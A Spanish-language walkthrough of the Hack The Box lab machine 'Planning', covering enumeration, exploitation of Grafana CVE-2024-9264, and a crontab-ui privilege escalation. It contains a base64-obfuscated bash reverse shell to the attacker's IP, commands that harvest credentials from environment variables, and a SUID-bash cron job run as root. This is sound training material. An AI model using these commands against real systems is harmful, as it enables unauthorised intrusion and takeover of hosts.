Descripción
Planning es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de subdominios
- Ejecución remota de comandos en Grafana con credenciales pre-obtenidas
- Pivote de usuario mediante credenciales obtenidas en un entorno de contenedor de Docker y sus variables del entorno
- Escalada de privilegios mediante la aplicación web
crontab-uiy una contraseña guardada
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.142.49.
$ ping -c 3 10.129.142.49
PING 10.129.142.49 (10.129.142.49) 56(84) bytes of data.
64 bytes from 10.129.142.49: icmp_seq=1 ttl=63 time=77.4 ms
64 bytes from 10.129.142.49: icmp_seq=2 ttl=63 time=50.9 ms
64 bytes from 10.129.142.49: icmp_seq=3 ttl=63 time=82.6 ms
--- 10.129.142.49 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 50.914/70.309/82.646/13.882 ms
La máquina está activa y con el TTL que equivale a 63 (64 menos 1 salto) podemos asegurar que es una máquina de Unix. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.142.49 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.142.49
Host is up (0.089s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.00 seconds
Obtenemos dos puertos abiertos, 22 y 80.️
Enumeración
Luego realizamos un escaneo más avanzado, con la versión de los servicios y scripts.️
$ nmap 10.129.142.49 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.142.49
Host is up (0.073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.32 seconds
Obtenemos el servicio SSH y el servicio HTTP. Agregamos el host planning.htb al archivo /etc/hosts.️
$ echo "10.129.142.49 planning.htb" | sudo tee -a /etc/hosts
Enumerando las subdominios del sitio web encontramos uno llamado grafana, por lo que lo agregamos al archivo /etc/hosts.️
$ gobuster vhost -u planning.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://planning.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: grafana.planning.htb Status: 200 [Size: 38241]
$ echo "10.129.142.49 grafana.planning.htb" | sudo tee -a /etc/hosts
Grafana está ejecutándose con la versión v11.0.0.️
Exploitation
La versión de Grafana v11.0.0 es vulnerable porque las expresiones SQL de Grafana permiten la ejecución de código remoto, CVE-2024-9264. La función de expresiones SQL experimental de Grafana permite evaluar consultas duckdb que contienen entrada del usuario. Estas consultas no están suficientemente sanitizadas antes de ser pasadas a duckdb, lo que conduce a una vulnerabilidad de inyección de comandos y inclusión de archivos locales. Como disponemos de credenciales, admin y 0D5oT70Fq13EvB5r, podemos utilizarlas para activar la vulnerabilidad y crear una terminal inversa en nuestra máquina. Tenemos una prueba de concepto creada por nollium en GitHub. Primero necesitamos abrir un puerto de escucha.️
$ nc -nvlp 1234
$ git clone https://github.com/nollium/CVE-2024-9264
$ cd CVE-2024-9264
$ virtualenv grafana
$ . grafana/bin/activate
$ pip install -r requirements.txt
$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNS8xMjM0IDA+JjE= | base64 -d | bash" http://grafana.planning.htb
Recibimos la terminal como el usuario root pero el nombre del host de la máquina y la dirección IP muestran que podríamos estar dentro de un contenedor Docker.️
$ nc -nvlp 1234 listening on [any] 1234 ...
connect to [10.10.14.35] from (UNKNOWN) [10.129.142.49] 50790
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@7ce659d667d7:~# hostname; hostname -i
7ce659d667d7
172.17.0.2
Al verificar las variables de entorno encontramos un usuario, enzo, y una contraseña RioTecRANDEEntANT!.️
root@7ce659d667d7:~# env
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
...
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
...
Podemos utilizar estos credenciales para iniciar sesión en la máquina utilizando el protocolo SSH.️
$ ssh enzo@planning.htb
enzo@planning:~$ id
uid=1000(enzo) gid=1000(enzo) groups=1000(enzo)
Post-Exploitación
Explorando los archivos de la máquina, encontramos uno interesante, /opt/crontabs/crontab.db.️
enzo@planning:~$ cat /opt/crontabs/crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}
Contiene una representación en formato JSON de la configuración de dos tareas de Cron, Grafana backup y Cleanup. Encontramos una tarea y una contraseña utilizada para cifrar el archivo del contenido del contenedor Docker root_grafana, P4ssw0rdS0pRi0T3c. Al buscar el archivo crontab.db en línea, encontramos que este archivo puede corresponder a la aplicación web crontab-ui. Encontramos una puerta de entrada abierta en la máquina local, 8000.️
enzo@planning:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
Lo redirigimos a nuestra máquina localhost en el puerto 8000.
$ ssh -N -L 8000:127.0.0.1:8000 enzo@planning.htb
Cuando accedemos a la aplicación web, encontramos una solicitud de autenticación. Podemos introducir usando el usuario root y la contraseña previamente capturada, P4ssw0rdS0pRi0T3c. Confirmamos que es la aplicación web crontab-ui.️
Ya que vemos que uno de los trabajos es utilizar un archivo ubicado en la carpeta /root, inferimos que las comandos se ejecutan como usuario root. Creamos un nuevo trabajo Cron para crear un binario SUID Bash en la carpeta /tmp haciendo clic en el botón New y rellenando los campos con el comando de la siguiente manera: cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash.️
Cuando se crea el trabajo podemos hacer clic en el botón Run now para activar el comando de manera inmediata. Finalmente podremos crear una terminal `root.️
enzo@planning:~$ /tmp/suid-bash -p
suid-bash-5.2# id
uid=1000(enzo) gid=1000(enzo) euid=0(root) groups=1000(enzo)
Flags
En la terminal de root podemos obtener las flags de usuario y root.️
suid-bash-5.2# cat /home/enzo/user.txt
<REDACTED>
suid-bash-5.2# cat /root/root.txt
<REDACTED>